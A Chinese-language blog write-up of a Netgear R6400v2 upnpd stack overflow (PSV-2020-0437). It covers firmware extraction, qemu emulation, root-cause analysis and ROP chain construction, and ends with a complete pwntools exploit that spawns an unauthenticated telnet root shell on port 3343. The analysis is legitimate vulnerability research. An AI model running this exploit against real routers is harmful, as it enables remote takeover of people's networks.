Swing'Blog 浮生若梦 Swing'Blog 浮生若梦
  • Home
  • |
  • About
  • |
  • Articles
  • |
  • RSS
  • |
  • Categories
  • |
  • Links

PSV-2020-0437:Buffer-Overflow-on-Some-Netgear-Routers

2022-06-30 Updated on 2022-06-30 漏洞分析

Table of Contents

  1. 固件获取
  2. 漏洞介绍
  3. 环境搭建
  4. 利用编写
  5. 相关链接
前言

距离上一篇 Blog 更新已经快两个月了,想了想应该给长草的 Blog 除除草了。于是从我的笔记文档里翻了一下, 把这个漏洞翻出来给大家分享分享。具体官方通告可以参考:

【1】PSV-2020-0437 官方公告

当时我的利用是在 Netgear R6400v2 固件版本为 1.0.4.102 的环境下编写的 ,因此本篇文章也以此为基础进行讲述。

固件获取

固件下载链接: 【2】R6400v2-1.0.4.102 固件

当我们获取固件后,我们需要从中解压出文件系统 , 这里我通过 binwalk 和 unsquashfs 成功提取出对应的固件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# swing @ swingdeiMac in ~/Downloads/PSV-2020-0437 [16:43:07]
$ msl --run "binwalk R6400v2-V1.0.4.102_10.0.75.chk -ez --run-as=root"
[check_container() - msl:93 ] Container status: running
[main() - msl:139 ] Running command: bash -c "cd '/workhub/Downloads/PSV-2020-0437' ; binwalk R6400v2-V1.0.4.102_10.0.75.chk -ez --run-as=root"

__________ .__ .__ _____
\______ \__ _ ______ | | |__|/ ____\____
| ___/\ \/ \/ / \| | | \ __\/ __ \
| | \ / | \ |_| || | \ ___/
|____| \/\_/|___| /____/__||__| \___ >
\/ \/
no pwn no life


DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
58 0x3A TRX firmware header, little endian, image size: 46354432 bytes, CRC32: 0x93E72BAF, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x20BCFC, rootfs offset: 0x0
86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5276608 bytes
2145590 0x20BD36 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 44208035 bytes, 1807 inodes, blocksize: 131072 bytes, created: 2020-09-22 07:41:07
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# root @ docker-desktop in /workhub/Downloads/PSV-2020-0437/_R6400v2-V1.0.4.102_10.0.75.chk.extracted [8:44:40]
$ ls
20BD36.squashfs 56.7z

# root @ docker-desktop in /workhub/Downloads/PSV-2020-0437/_R6400v2-V1.0.4.102_10.0.75.chk.extracted [8:44:43]
$ unsquashfs 20BD36.squashfs
Parallel unsquashfs: Using 8 processors
1694 inodes (2629 blocks) to write


write_xattr: failed to write xattr security.selinux for file squashfs-root/bin/addgroup because extended attributes are not supported by the destination filesystem

Ignoring xattrs in filesystem

To avoid this error message, specify -no-xattrs
[==========================================================================================================================================================================================================================| ] 2628/2629 99%

# root @ docker-desktop in /workhub/Downloads/PSV-2020-0437/_R6400v2-V1.0.4.102_10.0.75.chk.extracted [8:44:50] C:2
$ ls squashfs-root
bin data dev etc lib media mnt opt proc sbin share sys tmp usr var www

漏洞介绍

众所周知 UPNP相关的程序在路由器上是经常出现漏洞的。这次也不例外, PSV-2020-0437 的漏洞也是出现在 UPNP 的相关处理代码中。我们从刚解压出来的文件系统中提取出 upnpd 程序, 然后我们用 ida pro 打开。

我们通过对 recvfrom 交叉引用, 找到程序的入口, 可以看该程序一开始可读入大小为 0x1fff 。

然后我们跟着数据流, 即 inputBuf ,我们看到程序会调用 ssdp_http_method_check 函数

该函数会对输入的数据进行部分解析,例如 M-SEARCH 、ssdp:discover 等关键词, 本次的漏洞是在 sub_22D20 函数中发生的, 我们点进去查看下这个函数。

通过阅读上面的代码, 我们会发现该函数在

1
strncpy((char *)v6, (const char *)(MXstart + 3), end - (MXstart + 3));

使用 strncpy 的时候,拷贝的长度计算上处理不当,会在此处产生栈溢出。

环境搭建

由于当时手头没有 RV6400v2 的设备, 因此我采取使用 qemu-user 进行模拟的方案。

具体几个踩坑以及解决方案如下:

  1. /dev/nvram: No such file or directory

由于 netgear 使用到了 NVRAM , 因此我们需要 hook 下 NVRAM 相关的函数, 这里我用的一个网上编译好的实现 :【3】 Shared Library to intercept nvram

  1. 缺失符号

找不到 dlsym 的符号。之所以会用到 dlsym,是因为该库的实现者还同时 hook 了 system、fopen、open 等函数

/lib/libdl.so.0 导出了该符号,所以 LD_PRELOAD 的时候把这个也加上

  1. 缺少一些目录以及配置信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# cat tmp/nvram.ini
upnpd_debug_level=9
lan_ipaddr=172.19.32.152
hwver=R6400
friendly_name=R6400
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF
  1. 挂载 /proc /dev 目录
    1
    2
    mount -t proc /proc ./squashfs-root/proc
    mount -o bind /dev ./squashfs-root/dev

到这我们就基本利用正常运行 upnpd 程序了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# root @ server in /home/squashfs-root [19:32:11]
$ chroot . sh


BusyBox v1.7.2 (2020-09-18 17:38:05 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# LD_PRELOAD="/custom_nvram.so /lib/libdl.so.0" ./usr/sbin/upnpd
# [0x0002465c] fopen('/var/run/upnpd.pid', 'wb+') = 0x000db150
[0x00024688] custom_nvram initialised
[0xff757d34] fopen('/tmp/nvram.ini', 'r') = 0x000db150
[nvram 0] upnpd_debug_level = 9
[nvram 1] lan_ipaddr = 127.0.0.1
[nvram 2] hwver = R6400
[nvram 3] friendly_name = R6400
[nvram 4] upnp_enable = 1
[nvram 5] upnp_turn_on = 1
[nvram 6] upnp_advert_period = 30
[nvram 7] upnp_advert_ttl = 4
[nvram 8] upnp_portmap_entry = 1
[nvram 9] upnp_duration = 3600
[nvram 10] upnp_DHCPServerConfigurable = 1
[nvram 11] wps_is_upnp = 0
[nvram 12] upnp_sa_uuid = 00000000000000000000
[nvram 13] lan_hwaddr = AA:BB:CC:DD:EE:FF
[nvram 14] lan_hwaddr =
Read 15 entries from /tmp/nvram.ini
acosNvramConfig_get('upnpd_debug_level') = '9'
[0x00024728] acosNvramConfig_get('upnpd_debug_level') = '9'
set_value_to_org_xml:1136()
[0x0000e5e8] fopen('/www/Public_UPNP_gatedesc.xml', 'rb') = 0x000db150
[0x0000e620] fopen('/tmp/upnp_xml', 'wb+') = 0x000db150
data2XML()
[0x0000f7d0] acosNvramConfig_get('lan_ipaddr') = '127.0.0.1'

PS: 操作的过程没有看到 qemu, 那是因为我系统有 qemu binfmt 的支持。

利用编写

由于漏洞的根本原因是 strncpy 的缓冲区溢出, 我们知道 strncpy 函数在溢出的时候会存在 \x00 截断。然而程序每次不同链接使用的是同一块内存, 我们可以在第一次 recvfrom 的时候在栈上布局好 rop, 然后通过栈迁移跳转到布局好的 rop 上。

  1. 第一次连接布局好 rop
  2. 第二次连接, 构造缓冲区溢出,栈迁移到 rop 上,然后执行任意命令

整体思路可以参考 【4】SSD Advisory - Netgear Nighthawk R8300 upnpd PreAuth RCE - SSD Secure Disclosure (ssd-disclosure.com)

明确了思路我们就需要开始构造 rop, 找齐所需的 gadget 。

通过查看 sub_22D20 函数返回的地方汇编可知, 栈溢出后,我们可控的寄存器为 R4、R5、R6、PC

1
2
3
4
loc_22DB8
MOV R0, R4
ADD SP, SP, #0x80
POP {R4-R6,PC}

其中 PC 寄存器为需要的栈迁移 gadget

1
ropper -f usr/sbin/upnpd --search "add sp, sp"

这里我选择了这条 gadget, 将栈迁移到 SP+0x800 的位置, 另外通过这条 gadget 我可以接着控制 R4、R5、R6、PC 四个寄存器

1
2
.text:00011B90                 ADD             SP, SP, #0x800
.text:00011B94 POP {R4-R6,PC}

另外最终我期望通过调用 system 函数执行任意命令, 因此我需要在 bss 这样全局的地址上写入命令, 因此我需要找对应可以往任意地址写入值的 gadget 。 在 arm 的汇编中,写入值的汇编指令为 str

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ ropper -f usr/sbin/upnpd --search "str r?"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: str r?

[INFO] File: usr/sbin/upnpd
0x000299e8: str r0, [r3, #0x214]; pop {r3, r4, r5, pc};
0x000167e0: str r0, [r4, #0x40]; ldr r3, [pc, #0x54]; mvn r2, #0; mov r0, #0; str r2, [r3, #4]; pop {r3, r4, r5, r6, r7, pc};
0x0000ba2c: str r0, [r5]; mov r0, r4; pop {r3, r4, r5, r6, r7, pc};
0x0002d448: str r2, [r3, #-0x974]; bl #0x3bf4; movw r0, #0x1f5; pop {r3, r4, r5, pc};
0x0002d468: str r2, [r3, #-0x974]; pop {r3, r4, r5, pc};
0x0002b360: str r2, [r3, #0x248]; pop {r3, pc};
0x000182ec: str r2, [r3, #4]; bx lr;
0x000167f0: str r2, [r3, #4]; pop {r3, r4, r5, r6, r7, pc};
0x0002b458: str r2, [r3]; add sp, sp, #0x10; pop {r4, r5, r6, pc};
0x0002af38: str r2, [r3]; bl #0x326c; mov r0, r5; add sp, sp, #0x50; pop {r4, r5, r6, pc};
0x0000ba6c: str r2, [r3]; bx lr;
0x0000ba60: str r2, [r3]; mov r2, #7; ldr r3, [sp, #4]; str r2, [r3]; bx lr;
0x00017da0: str r2, [r3]; pop {r3, pc};
0x0002b524: str r2, [r3]; pop {r4, pc};
0x0000f120: str r3, [ip]; bl #0x2e94; mov r0, #0; add sp, sp, #0xc; pop {r4, r5, pc};
0x00029950: str r3, [r2, #0x200]; pop {r3, r4, r5, pc};
0x000182fc: str r3, [r2, #4]; bx lr;
0x00013d80: str r3, [r2]; mov r0, #0; add sp, sp, #0x2c; add sp, sp, #0x800; pop {r4, r5, r6, r7, pc};
0x00013900: str r3, [r2]; mov r0, #0; add sp, sp, #0x800; pop {r4, r5, r6, pc};
0x00013af4: str r3, [r2]; mov r0, #0; add sp, sp, #4; add sp, sp, #0x1000; pop {r4, r5, r6, r7, pc};
0x00017d64: str r3, [r4, #0x140]; pop {r4, pc};
0x0000bac8: str r3, [r4]; add r0, r0, #0x18400; add r0, r0, #0x2a0; pop {r4, pc};
0x000272ec: str r3, [r4]; pop {r4, pc};
0x0002dd64: str r3, [r5]; pop {r3, r4, r5, r6, r7, pc};
0x0000bc1c: str r3, [sp, #4]; bl #0x3278; add sp, sp, #8; pop {lr}; add sp, sp, #0xc; bx lr;
0x00014188: str r4, [sp, #0xfc]; str ip, [sp, #0xf8]; bl #0x33b0; mov r0, r4; add sp, sp, #0x104; pop {r4, r5, r6, r7, pc};
0x00017e98: str r5, [sp, #4]; bl #0x308c; mov r0, r4; bl #0x2e64; add sp, sp, #0xd4; pop {r4, r5, r6, r7, pc};
0x0002dd4c: str r6, [r5]; pop {r3, r4, r5, r6, r7, pc};

对于这样的需求,我从这些 gadget 中选取了 0x0002dd4c: str r6, [r5]; pop {r3, r4, r5, r6, r7, pc}; 这条指令, 通过控制 r5、 r6 寄存器,我们可以将任意值从r6 写到 r5 所指向到地址中。然后我通过 for 循环就可以构造出将任意字符串,写到任意地址中的 rop 链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def build_rop(cmd):
rop = b''
rop += cyclic(355,n=4)
rop += p32(0xdeadbeaf) # R4
rop += p32(bss) # R5
rop += cmd[:4] # R6
rop += p32(str_r6_r5) # PC
for i in range(int(len(cmd)/4 - 1)):
log.success('idx: {}'.format(i))
rop += p32(0xdeadbeef) # R3
rop += p32(0xdeadbeef) # R4
rop += p32(bss+4*(i+1)) # R5
rop += cmd[4*(i+1): 4*(i+2)] # R6
rop += p32(0xdeadbeef) # R7
rop += p32(str_r6_r5) # PC

最后呢,在找一条 mov r0, r?, bl system 这样的gadget, 将为可控的 R3 到 R7 寄存器中的一个覆写成刚刚写入了命令的地址,然后将值 mov 到 r0 寄存器上。 因为 arm 到参数传递是由寄存器传递的,通过控制 r0 寄存器, 我们就可以控制 system 执行任意命令。

这里了使用的是:

1
2
.text:0002704C                 MOV             R0, R4  ; command
.text:00027050 BL system

找齐所有的gadget ,并且将 rop 链布置到 SP+0x800的位置, 因此第一次链接到代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# write cmd to bss
def build_rop(cmd):
rop = b''
rop += cyclic(355,n=4)
rop += p32(0xdeadbeaf) # R4
rop += p32(bss) # R5
rop += cmd[:4] # R6
rop += p32(str_r6_r5) # PC
for i in range(int(len(cmd)/4 - 1)):
log.success('idx: {}'.format(i))
rop += p32(0xdeadbeef) # R3
rop += p32(0xdeadbeef) # R4
rop += p32(bss+4*(i+1)) # R5
rop += cmd[4*(i+1): 4*(i+2)] # R6
rop += p32(0xdeadbeef) # R7
rop += p32(str_r6_r5) # PC

rop += p32(0xdeadbeef) # R3
rop += p32(bss) # R4
rop += p32(0xdeadbeef) # R5
rop += p32(0xdeadbeef) # R6
rop += p32(0xdeadbeef) # R7
rop += p32(0x2704C) # PC call system
# .text:0002704C MOV R0, R4 ; command
# .text:00027050 BL system

return rop

s = remote('10.0.0.1',1900, typ='udp')
s.send(b'\x00' + b'A' * 0x1ff0)
# ropchain
s.send(b'\x00' + build_rop(cmd))
s.close()

然后第二次链接,为只需劫持返回地址到 stack pivot 的地址上即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#.text:00011B90                 ADD             SP, SP, #0x800
#.text:00011B94 POP {R4-R6,PC}

def build_req():
temp=[]
temp.append("M-SEARCH * HTTP/1.1")
temp.append("HOST:239.255.255.250:1900")
temp.append('MAN: "ssdp:discover"')
temp.append("MX: " + cyclic(139, n = 4) + p32(0x11B90)[:3]) #seconds to delay response

temp='\r\n'.join(temp)+'\r\n\r\n'

# print(temp)
return temp

t = remote("10.0.0.1",1900, typ='udp')

# pivot stack
rop = ''
rop += build_req()
t.send(rop)

所以最后的 exploit为如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *



def build_req():
temp=[]
temp.append("M-SEARCH * HTTP/1.1")
temp.append("HOST:239.255.255.250:1900")
temp.append('MAN: "ssdp:discover"')
temp.append("MX: " + cyclic(139, n = 4).decode('latin') + p32(0x11B90)[:3].decode('latin')) #seconds to delay response

temp='\r\n'.join(temp)+'\r\n\r\n'

# print(temp)
return temp

bss = 0x8F874
str_r6_r5 = 0x0002dd4c
# 0x0002dd4c: str r6, [r5]; pop {r3, r4, r5, r6, r7, pc};

cmd = "/usr/sbin/telnetd -p 3343 -b 0.0.0.0 -l /bin/sh \x00"
cmd = b'/bin/utelnetd -p 3343 -l /bin/ash \x00'
cmd += b"\x00" * (len(cmd) % 4)

# write cmd to bss
def build_rop(cmd):
rop = b''
rop += cyclic(355,n=4)
rop += p32(0xdeadbeaf) # R4
rop += p32(bss) # R5
rop += cmd[:4] # R6
rop += p32(str_r6_r5) # PC
for i in range(int(len(cmd)/4 - 1)):
log.success('idx: {}'.format(i))
rop += p32(0xdeadbeef) # R3
rop += p32(0xdeadbeef) # R4
rop += p32(bss+4*(i+1)) # R5
rop += cmd[4*(i+1): 4*(i+2)] # R6
rop += p32(0xdeadbeef) # R7
rop += p32(str_r6_r5) # PC

rop += p32(0xdeadbeef) # R3
rop += p32(bss) # R4
rop += p32(0xdeadbeef) # R5
rop += p32(0xdeadbeef) # R6
rop += p32(0xdeadbeef) # R7
rop += p32(0x2704C) # PC call system
# .text:0002704C MOV R0, R4 ; command
# .text:00027050 BL system

return rop

s = remote('127.0.0.1',1900, typ='udp')
s.send(b'\x00' + b'A' * 0x1ff0)
# ropchain
s.send(b'\x00' + build_rop(cmd))
s.close()


t = remote("127.0.0.1",1900, typ='udp')

# pivot stack
rop = ''
rop += build_req()

print('exploit .....')

t.send(rop)

相关链接

【1】 PSV-2020-0437 官方公告
【2】 R6400v2-1.0.4.102 固件
【3】 Shared Library to intercept nvram
【4】 SSD Advisory - Netgear Nighthawk R8300 upnpd PreAuth RCE - SSD

分类: 漏洞分析
标签: CVE-2021-45527 netgear
← Prev 2022 QWB Final RealWorld Challenge Writeup
Next → Capture The Ether Writeup

Comments

© 2015 - 2026 Swing
Powered by Hexo Hexo Theme Bloom